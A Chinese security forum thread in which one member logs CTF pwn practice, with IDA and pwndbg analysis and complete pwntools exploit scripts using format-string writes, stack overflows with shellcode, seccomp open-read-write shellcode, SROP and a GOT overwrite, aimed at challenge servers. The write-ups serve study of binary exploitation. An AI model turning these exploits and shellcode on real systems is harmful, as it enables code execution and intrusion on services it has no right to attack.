安全矩阵

 找回密码
 立即注册
搜索
查看: 2334|回复: 5

攻防世界刷题记录

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2022-5-31 10:40:55 | 显示全部楼层 |阅读模式
暑假来了,刷题走起。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2022-5-31 10:50:27 | 显示全部楼层
新手区 string
拖到ida中分析题目流程:

`*p`和`p[0]`的效果是一样的,都是取p的第一个元素。
  1. v3 = malloc(8uLL);
  2. v4 = (__int64)v3;
  3. *v3 = 68;
  4. v3[1] = 85;
复制代码
`v3[0]=68`,`v3[1]=85`。这两个地址也给出来了。
进入`sub_400D72(v4)`函数,参数是`v4`。


输入name后进入if。第一个函数是`sub_400A7D()`。

选择一个方向,如果选择up就会一直循环,选择east顺利return。
进入下一个子函数`sub_400BB9()`。


注意到这个函数中的`printf(&format, &format);`是一个格式化字符串漏洞。具体利用先按下不表。如果选择1,则进入if触发格式化字符串漏洞,然后返回。
进入下一个子函数`sub_400CA6((_DWORD *)a1)`。传入的参数即从main函数中传入的`v4`。


在这个函数中,`*a1 == a1[1]`也就是如果`a1[0]==a1[1]`,进入if。注意到在if条件中的
  1. v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
  2. read(0, v1, 0x100uLL);
  3. ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
复制代码
使用mmap函数在mmap映射段分配了一块内存v1并读入数据。成功执行时,mmap()返回被映射区的指针。最后将v1强制转换成函数指针执行,参数是v1和0。也就是可以直接执行shellcode。
本身这个题目也没有system函数,开启了 FULL RELRO 也不能修改got表,所以选择直接执行shellcode。
现在要做的就是令`a1[0]==a1[1]`。联系利用前面的格式化字符串漏洞可以修改`a1[0]`。
格式化字符串漏洞知识补充:
《从零到一》p351。一般用到的是`%X$p`和`%Yc%X$n`。`%X$p`可以泄露栈上的数据,表示按照`void*`指针类型输出第X个参数。`%Yc%X$n`可以进行内存改写,`%n`表示将已经成功输出的字符的个数写入对应的整形指针参数所指向的变量,X$表示第X个参数。


在输入format之前让输入了一个地址,这个地址在栈上的第七个参数位置。将这个地址输入`a1[0]`的地址即可修改。
exp
  1. from pwn import *
  2. #context(arch='amd64', os='linux', log_level='debug')
  3. # p = process("./string")
  4. p = remote("111.200.241.244",52793)
  5. p.recvuntil("secret[0] is ")
  6. target = p.recvuntil("\n")[:-1]
  7. target = int(target, 16)
  8. # print hex(int(target_addr, 16))
  9. p.recvuntil("character's name be:")
  10. p.sendline("test")
  11. p.recvuntil("east or up?:")
  12. p.sendline("east")
  13. p.recvuntil("leave(0)?:")
  14. p.sendline("1")
  15. p.recvuntil("'Give me an address'")
  16. p.sendline(str(target))
  17. p.recvuntil("you wish is:")
  18. payload1 = "%85c%7$n"
  19. p.sendline(payload1)
  20. context(os='linux',arch='amd64')
  21. payload2 =asm(shellcraft.sh())
  22. p.sendline(payload2)
  23. p.interactive()
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2022-8-8 09:56:24 | 显示全部楼层
遇到的一个简单的系统调用题目。可以和栈迁移对比学习。
从这里知道了`tmux`和它的使用。炫酷,回头给我的terminal换个主题。
checksec发现基本没有什么保护。
拖进ida中分析。

main函数只有一个调用pwn。跟进查看。

发现pwn函数中有一个fgets,是溢出高发函数。查看s数组的大小和读入的数据果然有栈溢出。但是如何调用呢?在侧边的函数中发现了hint函数。

跟进查看hint,是一个内联汇编jmp esp。

到这里思路就很清晰了,栈溢出覆盖返回地址为jmp esp。然后跳转到shellcode处执行。程序运行的时候,系统内存是这样排布的:

数据保存在stack段,而指令在code段。我们要做的就是把eip由code段引导到stack段,因为我们的shellcode被填入到了这里,并且栈可执行。在ida中查看到,jmp esp指令的地址为0x08048554。也就是pwn函数的ret地址会被覆盖成这个。

接下来调试查看具体payload和偏移怎么写。
  1. pwndbg> cyclic 100
  2. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
复制代码

然后run,在输入的地方填上生成的字符。然后单步直到退出。
  1. pwndbg> r
  2. Starting program: /home/pwnpy2/ciscn2019s9/ciscn_s_9

  3. Hey! ^_^

  4. It's nice to meet you

  5. Do you have anything to tell?
  6. >
  7. aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
  8. OK bye~

  9. Breakpoint 1, pwn () at pwn.c:20
  10. 20      pwn.c: No such file or directory.
  11. pwndbg> n
  12. 0x6161616a in ?? ()
  13. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  14. ───────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────
  15. EAX  0x1
  16. EBX  0x0
  17. ECX  0xf7fb5890 (_IO_stdfile_1_lock) ◂— 0
  18. EDX  0x0
  19. EDI  0x0
  20. ESI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
  21. *EBP  0x61616169 ('iaaa')
  22. *ESP  0xffffcbf0 ◂— 'kaaalaaam'
  23. *EIP  0x6161616a ('jaaa')
  24. ────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
  25. Invalid address 0x6161616a
复制代码
最后的返回地址为0x6161616a,由于是小端序存储,也就是jaaa。
  1. pwndbg> cyclic -l jaaa
  2. 36
复制代码
最终返回地址的偏移定为36字节,也就是0x24。tmux打开python,把下面的复制进去然后回车:
  1. from pwn import *
  2. import pwn
  3. file_path = './ciscn_s_9'
  4. context(binary=file_path, os='linux', terminal=['tmux', 'sp', '-h'])
  5. _debug_ = 1
  6. elf = ELF(file_path)
  7. if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('127.0.0.1', 1234)# 这里是还没有开启远程容器,瞎写的

  11. jmp_esp = 0x8048554
  12. shellcode = '''
  13. xor eax,eax
  14. push 0x0068732f
  15. push 0x6e69622f
  16. mov ebx,esp
  17. xor edx,edx
  18. xor ecx,ecx
  19. mov al,0xb
  20. int 0x80
  21. '''
  22. shellcode = asm(shellcode)
  23. print shellcode
  24. print len(shellcode)
  25. payload = shellcode.ljust(0x24, 'a') + pwn.p32(jmp_esp)
  26. gdb.attach(p)
复制代码
attach到进程后,还是在上面的地方下断点后运行:
  1. pwndbg> b *0x0804854F
  2. Breakpoint 1 at 0x804854f: file pwn.c, line 20.
  3. pwndbg> c
  4. Continuing.
复制代码
切换到python命令界面输入p.sendline(payload),gdb进程中断在了pwn函数的leave指令处。查看此时的栈数据:

查看到我们的第一条指令地址为0xffe674c8。然后继续单步

在jmp esp指令处,指向的esp地址为0xffe674f0。这个地址距离我们的shellcode的偏移为0xffe674f0 - 0xffe674c8 = 0x28,也就是说要跳到我们的shellcode处还需要sub esp,0x28后再主动调用。修改payload后的exp:
  1. from pwn import *
  2. import pwn
  3. file_path = './ciscn_s_9'
  4. context(binary=file_path, os='linux', terminal=['tmux', 'sp', '-h'])
  5. _debug_ = 1
  6. elf = ELF(file_path)
  7. if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('127.0.0.1', 1234)

  11. jmp_esp = 0x8048554
  12. sub_esp = '''
  13. sub esp,0x28
  14. call esp
  15. '''

  16. shellcode = '''
  17. xor eax,eax
  18. push 0x0068732f
  19. push 0x6e69622f
  20. mov ebx,esp
  21. xor edx,edx
  22. xor ecx,ecx
  23. mov al,0xb
  24. int 0x80
  25. '''
  26. shellcode = asm(shellcode)
  27. sub_esp = asm(sub_esp)
  28. print shellcode
  29. print len(shellcode)
  30. payload = shellcode.ljust(0x24, 'a') + pwn.p32(jmp_esp) + sub_esp
  31. # gdb.attach(p)
  32. p.sendline(payload)
  33. p.interactive()
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2022-8-8 10:01:26 | 显示全部楼层
学到了一个新词:seccomp。seccomp 是 secure computing 的缩写,是Linux引入的一种简单沙箱机制。

从main函数可以看出直接是输入shellcode并调用执行的。安装seccomp-tools:
  1. sudo apt install gcc ruby-dev
  2. sudo gem install seccomp-tools
复制代码

这道题存在沙箱,只能执行允许的系统调用。ORW(open、read、write),只允许ORW可以做什么呢?一般pwn的题目会存在一个flag文件,所以我们在这里可以读取flag。如何读取flag?
  1. open('flag')
  2. read(3,buf,0x100)
  3. write(1,buf,0x100)
复制代码

checksec发现有canary但是没有别的保护了,栈是可执行的。查看一下可读可写的段,一般会选取.bss段。
为了不影响前面程序的操作,一般还会加个偏移,如0x100。ida中view->subviews->segments查看段地址,双击.bss查看到地址为0x0804A060。
这里有两种方法可以生成shellcode,一个是pwntools,另一个是系统调用。先来看使用pwntools的。有几个需要注意的点。
  • 1.一般stdin,stdout,stderr已经被使用,使用open打开的fd一般等于3。所以read的fd应该为3,将flag的内容读入buf。
  • 2.需要使用标准输出(fd=1),将读入buf的flag输出。又学到了一些新词,linux标准流 stdin、stdout、stderr和文件描述符fd。在用C语言打开文件的时候会用到下面的语句。
    1. File *fp=fopen();
    复制代码
    这个fp就是我们向系统申请的,相当于一通往文件的通道。其实,stdin,stdout,stderr就是这个fp,不过他是随着计算机系统的开启默认打开的。在写C程序时经常遇到的 printf(),fprintf(),perror() 中,printf()其实就是向stdout中输出,等同于fprintf(stdout,“****”)perror()其实就是向stderr中输出,等同于fprintf(stderr,“***”)
    文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件。
    1. from pwn import *

    2. file_path = './orw'
    3. elf = ELF(file_path)
    4. context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
    5. p = process(file_path)
    6. bss_addr = 0x0804A060
    7. shellcode = shellcraft.open('./flag')
    8. shellcode += shellcraft.read(3, bss_addr+0x100, 100)
    9. shellcode += shellcraft.write(1, bss_addr+0x100, 100)
    10. shellcode = asm(shellcode)

    11. p.recvuntil("shellcode:")
    12. p.sendline(shellcode)
    13. p.interactive()
    复制代码
  • 另一种方式是使用linux系统调用。
    1. from pwn import *

    2. file_path = './orw'
    3. elf = ELF(file_path)
    4. context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
    5. p = process(file_path)
    6. bss_addr = 0x0804A060
    7. # shellcode = shellcraft.open('./flag')
    8. # shellcode += shellcraft.read(3, bss_addr+0x100, 100)
    9. # shellcode += shellcraft.write(1, bss_addr+0x100, 100)
    10. # shellcode = asm(shellcode)

    11. shellcode_open = '''
    12. push 0x0
    13. push 0x67616c66
    14. mov ebx,esp
    15. xor ecx,ecx
    16. xor edx,edx
    17. mov eax,0x5
    18. int 0x80
    19. '''
    20. shellcode_open = asm(shellcode_open)
    21. shellcode_read = '''
    22. mov eax,0x3
    23. mov ecx,ebx
    24. mov ebx,0x3
    25. mov edx,0x100
    26. int 0x80
    27. '''
    28. shellcode_read = asm(shellcode_read)
    29. shellcode_write = '''
    30. mov eax,0x4
    31. mov ebx,0x1
    32. int 0x80
    33. '''
    34. shellcode_write = asm(shellcode_write)
    35. shellcode = shellcode_open + shellcode_read + shellcode_write
    36. p.recvuntil("shellcode:")
    37. p.sendline(shellcode)
    38. p.interactive()
    复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2022-8-14 21:41:56 | 显示全部楼层
SROP
SROP的全称是 Sigreturn Oriented Programming。于2014年在论文Farming Signals——A return to Portable Shellcode中被提出。SROP与ROP类似,都是通过一个简单的栈溢出,覆盖返回地址并执行gadgets控制执行流。不同的是,SROP使用能够调用sigreturn的gadgets覆盖返回地址,并将一个伪造的sigcontext结构体放到栈中。
sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接的调用。signal机制在现代操作系统中应用广泛,比如内核Kill一个进程,为进程设置定时器,通知进程一些异常事件等等。
Linux 系统调用
64位和32位的系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/unistd_32.h中,另外还需要查看/usr/include/bits/syscall.h。一开始Linux是通过int 0x80中断的方式进入系统调用的,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从Linux 2.6开始,就出现了许多新的系统调用指令sysenter/sysexit等,前者用于从Ring3进入Ring0,后者用于从Ring0返回Ring3。它没有特权级别检查,也没有压栈操作,所以执行速度更快。
signal 机制​​
​编辑​
  • 当有中断或者异常产生的时候,内核会向某个进程发送一个signal,该进程被挂起并进入内核。
  • 内核为该进程保存相应的上下文,再跳转到之前注册好的signal handler中处理相应的signal。
  • signal handler执行完毕后,内核为该进程恢复之前保存的上下文。
  • 恢复进程的执行。

具体步骤如下:
  • 一个signal frame被添加到栈,这个frame中包含了当前寄存器的值和一些signal信息。
  • 一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn系统调用。
  • signal handler被调用,signal handler的行为取决于收到什么signal。
  • signal handler执行完毕后,如果程序没有终止,则返回地址用于执行sigreturn系统调用。
  • sigreturn利用signal frame恢复所有寄存器以回到之前的状态。
  • 最后,程序执行继续。

SROP正是利用了sigreturn的弱点进行攻击。首先,系统在执行sigreturn的时候,不会对signal做检查,它不知道当前保存的frame是不是之前保存的frame。由于sigreturn会从用户栈上恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间的,是用户进程可读写的。如果攻击者可以控制栈,也就控制了所有寄存器的值,而这一切都只需要一个gadget:syscall;retn,并且这个gadgets在一些比较老的系统上是没有随机化的,通常可以在vsyscall中找到,地址为0xffffffffff600000。如果是32位linux,则可以寻找int 80,通常可以在vDSO中找到,但是这个地址可能是随机的。
例题分析
一个简单的SROP,ciscn_2019_s_3,附件可以从buuoj搜索下载。拖入ida,main函数直接调用vuln函数,跟进查看。
​编辑​
发现两个系统调用,调用了read和write。函数栏还有个十分刻意的gadget函数,跟进查看。
​编辑​
直接查看汇编语言更方便。这里是把rax设置成了0xf,结合syscall推断这里是进行0xf号系统调用,也就是rt_sigreturn。通过rt_sigreturn来进行execve("/bin/sh")的系统调用,也就是:
  1. rax = 0x3b
  2. rdi = binsh_addr
  3. rsi = 0
复制代码
同时,把rip设置成syscall_addr,就可以进行系统调用了。
那么就需要知道binsh的地址和syscall的地址。syscall的地址很简单,在vuln函数中就进行了两个系统调用,这两个地址都可以。想到vuln函数中有一个read和一个write函数,可以进行读取和泄露。read函数把内容读取到了栈上,所以如果想获取输入的地址,就需要泄露栈的地址。调试查看write函数到底泄露了什么东西。
​编辑​
单步跟踪到write函数这里,发现buf的地址是0x7fffffffdcd0
  1. pwndbg> x/10gx 0x7fffffffdcd0
  2. 0x7fffffffdcd0:        0x6867666564636261        0x000a6e6d6c6b6a69
  3. 0x7fffffffdce0:        0x00007fffffffdd00        0x0000000000400536
  4. 0x7fffffffdcf0:        0x00007fffffffdde8        0x0000000100000000
  5. 0x7fffffffdd00:        0x0000000000400540        0x00007ffff7a03c87
  6. 0x7fffffffdd10:        0x0000000000000001        0x00007fffffffdde8
复制代码
write可以泄露0x30大小的内存,也就是从0x7fffffffdcd0泄露到0x7fffffffdd00前的那些内存。回到ida中发现,mov rbp,rsp后, 没有进行下一步提升堆栈的操作,也就是rsp一直和rbp是一样的。这样造成的影响就是,最后retn指令(也就是pop rip)返回的地址直接就是理论上的old_rbp,也就是buf上面的地址。
所以0x7fffffffdcd0后0x10字节是buf内容,紧接着0x7fffffffdce0是需要覆盖的返回地址。再往后可以被write出来的0x7fffffffdcf0的内容也就是栈的地址。计算一下偏移为:0x00007fffffffdde8-0x7fffffffdcd0=0x118。
这样,思路就很清晰了。我们需要调用两次vuln()函数,第一次用来泄露栈地址,返回地址处覆盖为vuln()的地址;第二次先跳转到gadget()函数,将RAX设置成15(sigreturn的系统调用号);再调用syscall,参数为signal frame。
exp:
  1. from pwn import *
  2. import pwn

  3. file_path = './ciscn_s_3'
  4. context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
  5. context.arch = 'amd64'
  6. _debug_ = 0
  7. if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('node4.buuoj.cn', 27479)

  11. vuln = 0x4004ED
  12. gadget = 0x4004DA
  13. syscall = 0x400501

  14. # leak stack_addr
  15. payload1 = 'a'*0x10 + pwn.p64(vuln)
  16. p.sendline(payload1)
  17. stack = pwn.u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x118
  18. print hex(stack)

  19. # SROP
  20. frame = pwn.SigreturnFrame()
  21. frame.rax = 0x3b
  22. frame.rdi = stack
  23. frame.rip = syscall
  24. frame.rsi = 0
  25. payload2 = "/bin/sh\x00"*2 + pwn.p64(gadget)
  26. payload2 += pwn.p64(syscall) + str(frame)
  27. #gdb.attach(p)
  28. p.sendline(payload2)
  29. p.interactive()
复制代码


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2022-8-23 16:22:01 | 显示全部楼层
WDB_2018_easyfmt
checksec发现只开了NX 保护,GOT表可写。

之开启了栈不可执行,GOT表可写。拖入IDA查看下程序逻辑。

是一个死循环,printf函数存在格式化字符串漏洞。除此之外没有别的地址了。GOT表可写,那么就可以覆盖printf函数的GOT表地址为system函数的地址,再输入/bin/sh,执行到printf("/bin/sh")的时候就相当于执行system("/bin/sh")。
先泄露printf函数的libc的地址来确定libc版本,从而定位system函数的地址。
  1. from pwn import *
  2. from LibcSearcher import *
  3. file_path = './wdb_2018_2nd_easyfmt'
  4. context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
  5. _debug_ = 1
  6. elf = ELF(file_path)
  7. if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('127.0.0.1', 1234)

  11. printf_got = elf.got['printf']
  12. print hex(printf_got)
  13. p.recvuntil("Do you know repeater?\n")
  14. payload1 = p32(printf_got) + '%6$s'
  15. # gdb.attach(p)
  16. p.sendline(payload1)
  17. data = p.recv()
  18. printf_addr = u32(data[4:8])
  19. print hex(printf_addr)
复制代码
用LibcSearcher以前的虚拟机还好好的可以用,这个题的libc甚至可以查询到。上个虚拟机崩了之后重装了一遍环境,今天这个就突然不行了。所以换成了在线网站。
确定了偏移之后就可以确定system函数的地址了
  1. printf_offset = 0x049680
  2. system_offset = 0x03adb0
  3. libc_base = printf_addr - printf_offset
  4. system_addr = libc_base + system_offset
  5. print hex(system_addr)
复制代码
接下来构造payload修改printf_got。虽说pwntools的fmtstr_payload可以一步到位,但是还是学习一下构造。比赛的时候可以直接用生成好的模块。
完整exp:
  1. from pwn import *
  2. from LibcSearcher import *
  3. file_path = './wdb_2018_2nd_easyfmt'
  4. context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
  5. _debug_ = 1
  6. elf = ELF(file_path)
  7.     if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('127.0.0.1', 1234)

  11. printf_got = elf.got['printf']
  12. print hex(printf_got)
  13. p.recvuntil("Do you know repeater?\n")
  14. payload1 = p32(printf_got) + '%6$s'
  15. # gdb.attach(p)
  16. p.sendline(payload1)
  17. data = p.recv()
  18. printf_addr = u32(data[4:8])
  19. # print hex(printf_addr)
  20. printf_offset = 0x049680
  21. system_offset = 0x03adb0
  22. libc_base = printf_addr - printf_offset
  23. system_addr = libc_base + system_offset
  24. print hex(system_addr)
  25. # payload2 = fmtstr_payload(6, {printf_got: system_addr})
  26. # print payload2
  27. payload2 = p32(printf_got) + p32(printf_got+1) + p32(printf_got+2)
  28. payload2 += "%" + str((system_addr&0xff)-12) + "c%6$hhn"
  29. payload2 += "%" + str((((system_addr>>8)&0xff)+0x100)-(system_addr&0xff)) + "c%7$hhn"
  30. payload2 += "%" + str((((system_addr>>16)&0xff)+0x200)-(((system_addr>>8)&0xff)+0x100)) + "c%8$hhn"
  31. # gdb.attach(p)
  32. p.sendline(payload2)

  33. p.recvuntil('\n')
  34. p.sendline('/bin/sh\x00')
  35. p.interactive()
复制代码
谢谢,本地打通之后远程又报错了。最终还是使用了LibcSearcher。远程exp:
  1. from pwn import *
  2. from LibcSearcher import *
  3. file_path = './wdb_2018_2nd_easyfmt'
  4. # context(binary=file_path, log_level='debug', os='linux', terminal=['tmux', 'sp', '-h'])
  5. _debug_ = 0
  6. elf = ELF(file_path)
  7. if _debug_:
  8.     p = process(file_path)
  9. else:
  10.     p = remote('node4.buuoj.cn', 29683)

  11. printf_got = elf.got['printf']
  12. print hex(printf_got)
  13. p.recvuntil("Do you know repeater?\n")
  14. payload1 = p32(printf_got) + '%6$s'
  15. # gdb.attach(p)
  16. p.sendline(payload1)
  17. data = p.recv()
  18. printf_addr = u32(data[4:8])
  19. # print hex(printf_addr)
  20. printf_offset = 0x049680
  21. system_offset = 0x03adb0
  22. # libc_base = printf_addr - printf_offset
  23. # system_addr = libc_base + system_offset
  24. libc = LibcSearcher('printf', printf_addr)
  25. libc_base = printf_addr - libc.dump('printf')
  26. system_addr = libc_base + libc.dump('system')
  27. print hex(system_addr)
  28. # payload2 = fmtstr_payload(6, {printf_got: system_addr})
  29. # print payload2
  30. payload2 = p32(printf_got) + p32(printf_got+1) + p32(printf_got+2)
  31. payload2 += "%" + str((system_addr&0xff)-12) + "c%6$hhn"
  32. payload2 += "%" + str((((system_addr>>8)&0xff)+0x100)-(system_addr&0xff)) + "c%7$hhn"
  33. payload2 += "%" + str((((system_addr>>16)&0xff)+0x200)-(((system_addr>>8)&0xff)+0x100)) + "c%8$hhn"
  34. # gdb.attach(p)
  35. p.sendline(payload2)

  36. p.recvuntil('\n')
  37. p.sendline('/bin/sh\x00')
  38. p.interactive()
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 07:20 , Processed in 0.021157 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表